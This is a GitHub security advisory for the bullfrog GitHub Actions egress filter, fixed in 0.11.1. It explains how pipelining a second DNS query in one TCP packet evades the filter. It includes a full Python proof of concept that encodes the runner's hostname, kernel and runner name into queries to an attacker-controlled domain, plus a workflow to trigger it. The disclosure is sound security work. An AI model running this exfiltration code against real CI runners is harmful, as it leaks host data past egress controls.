Skip to content

DNS Pipelining bypasses egress filtering

High
fallard84 published GHSA-236v-v2rq-6pq2 Aug 25, 2026

Package

actions bullfrogsec/bullfrog (GitHub Actions)

Affected versions

<0.11.1

Patched versions

0.11.1

Description

processDNSOverTCPPayload() only parses the first DNS message in a TCP payload, ignoring any subsequent pipelined messages. If the first message is benign (allowed), and the second contains exfiltrated data to a blocked domain, the agent accepts the entire packet, allowing covert data leakage.

Vulnerable Code

err := dns.DecodeFromBytes(payload[2:messageLen+2], gopacket.NilDecodeFeedback)

Only decodes bytes from index 2 to messageLen+2 → first DNS message only. Returns immediately after processing only the first message. Ignores any remaining bytes in the TCP payload

Attack Scenario

Step Action
1 Attacker sends two DNS queries in one TCP packet
2 First query: google.comallowed domain
3 Second query: secret-data.attacker-c2.comblocked domain
4 Agent parses only first queryaccepts packet
5 Second query reaches DNS serverexfiltration succeeds

Steps to Reproduce

1- Create the following workflow, which only allows *.github.qkg1.top:

name: DNS Pipelining PoC
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Checkout repository
        uses: actions/checkout@v4 # This action handles cloning the repository

      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 8.8.8.8
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1831f79cce8ad602eef14d2163873f27081ebfb3 # v0.8.4
        with:
           egress-policy: block
           allowed-domains: |
             *.github.qkg1.top
      - name: Test connectivity
        run: |
          python3 poc.py github.com YOUR_BURP_COLLABORATOR_SERVER

Replace YOUR_BURP_COLLABORATOR_SERVER with your Burpsuite collaborator URL.

2- Create poc.py

#!/usr/bin/env python3
import sys
import os
import socket
import random
import struct
import binascii
import platform
import subprocess

# ------------------------------------------------------------
# Helper: Build minimal DNS A-record query
# ------------------------------------------------------------
def build_dns_query(domain: str, txid: int) -> bytes:
    header = struct.pack("!HHHHHH", txid, 0x0100, 1, 0, 0, 0)
    qname = b""
    for label in domain.split("."):
        qname += bytes([len(label)]) + label.encode("ascii")
    qname += b"\x00"
    qtype_qclass = struct.pack("!HH", 1, 1)  # A record, IN class
    return header + qname + qtype_qclass

# ------------------------------------------------------------
# Helper: Prepend TCP length prefix
# ------------------------------------------------------------
def create_tcp_dns_msg(query: bytes) -> bytes:
    return struct.pack("!H", len(query)) + query

# =============================================================
# ========================== MAIN =============================
# =============================================================
def main() -> None:
    if len(sys.argv) != 3:
        print("Usage: python3 dns_exfil_uname.py <allowed_domain> <blocked_base>")
        print("  <blocked_base> will be appended after uname details.")
        sys.exit(1)

    allowed_domain = sys.argv[1].strip()
    blocked_base   = sys.argv[2].strip().rstrip(".")

    dns_server = "8.8.8.8"
    dns_port   = 53

    # ----------------------------------------------------------------
    # 1. Gather precise runner details via uname and gethostname
    # ----------------------------------------------------------------
    try:
        uname_result = platform.uname()
        sysname = uname_result.system.lower().replace(" ", "-")
        release = uname_result.release.lower().replace(" ", "-")
    except Exception:
        # Fallback if platform.uname() fails
        try:
            uname_output = subprocess.check_output(["uname", "-s", "-r"], text=True).strip().split()
            sysname = uname_output[0].lower().replace(" ", "-")
            release = uname_output[1].lower().replace(" ", "-")
        except Exception:
            sysname = "unknown-sys"
            release = "unknown-rel"

    try:
        hostname = socket.gethostname().strip().lower().replace(" ", "-")
    except Exception:
        hostname = "unknown-host"

    try:
        runner_name = os.getenv("RUNNER_NAME", "unknown-runner").strip().lower().replace(" ", "-")
    except Exception:
        runner_name = "unknown-runner"

    # ----------------------------------------------------------------
    # 2. Construct exfiltration domain: <sysname>.<release>.<hostname>.<runner_name>.<blocked_base>
    # ----------------------------------------------------------------
    exfil_domain = f"{sysname}.{release}.{hostname}.{runner_name}.{blocked_base}"
    print(f"[*] Exfiltration domain: {exfil_domain}")

    # ----------------------------------------------------------------
    # 3. Generate transaction IDs
    # ----------------------------------------------------------------
    id_allowed = random.randint(1000, 9999)
    id_exfil   = random.randint(1000, 9999)

    # ----------------------------------------------------------------
    # 4. Build queries
    # ----------------------------------------------------------------
    query_allowed = build_dns_query(allowed_domain, id_allowed)
    query_exfil   = build_dns_query(exfil_domain,   id_exfil)

    msg_allowed = create_tcp_dns_msg(query_allowed)
    msg_exfil   = create_tcp_dns_msg(query_exfil)
    combined_payload = msg_allowed + msg_exfil

    print(f"[*] Target DNS: {dns_server}:{dns_port}")
    print(f"[*] Transaction IDs → Allowed: {id_allowed}, Exfil: {id_exfil}")
    print(f"[*] Payload size: {len(combined_payload)} bytes")
    print(f"[*] Leaked details → sysname: {sysname}, release: {release}, hostname: {hostname}, runner_name: {runner_name}")

    # ----------------------------------------------------------------
    # 5. Send and receive
    # ----------------------------------------------------------------
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((dns_server, dns_port))
        print("[*] Connected. Sending pipelined DNS queries...")
        sock.sendall(combined_payload)

        print("[*] Listening for responses...")
        received = b""
        found_allowed = False
        found_exfil   = False

        id_a_bytes = struct.pack("!H", id_allowed)
        id_e_bytes = struct.pack("!H", id_exfil)

        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            received += chunk

            if not found_allowed and id_a_bytes in received:
                found_allowed = True
                print("[+] Response received for ALLOWED domain")

            if not found_exfil and id_e_bytes in received:
                found_exfil = True
                print("[!!!] EXFILTRATION SUCCESSFUL [!!!]")
                print(f"    Leaked: sysname={sysname}, release={release}, hostname={hostname}, runner_name={runner_name}")
                print(f"    Domain: {exfil_domain}")
                print("    => Firewall/policy failed to block exfiltration!")

            if found_allowed and found_exfil:
                break

    except socket.timeout:
        print("[!] Timeout: No full response received.")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        sock.close()

    # ----------------------------------------------------------------
    # 6. Raw dump (first 200 bytes)
    # ----------------------------------------------------------------
    if received:
        print("\n[*] Raw response (first 200 bytes):")
        print(binascii.hexlify(received[:200]).decode("ascii"))
    else:
        print("\n[*] No response data received.")


if __name__ == "__main__":
    main()

3- Check workflow logs & Burpsuite collaborator logs, you would observe that the runner data got exfiltrated:

Screenshot 2025-11-28 at 12 31 13 AM Screenshot 2025-11-28 at 12 31 28 AM

Severity

High

CVE ID

No known CVE

Weaknesses

No CWEs

Credits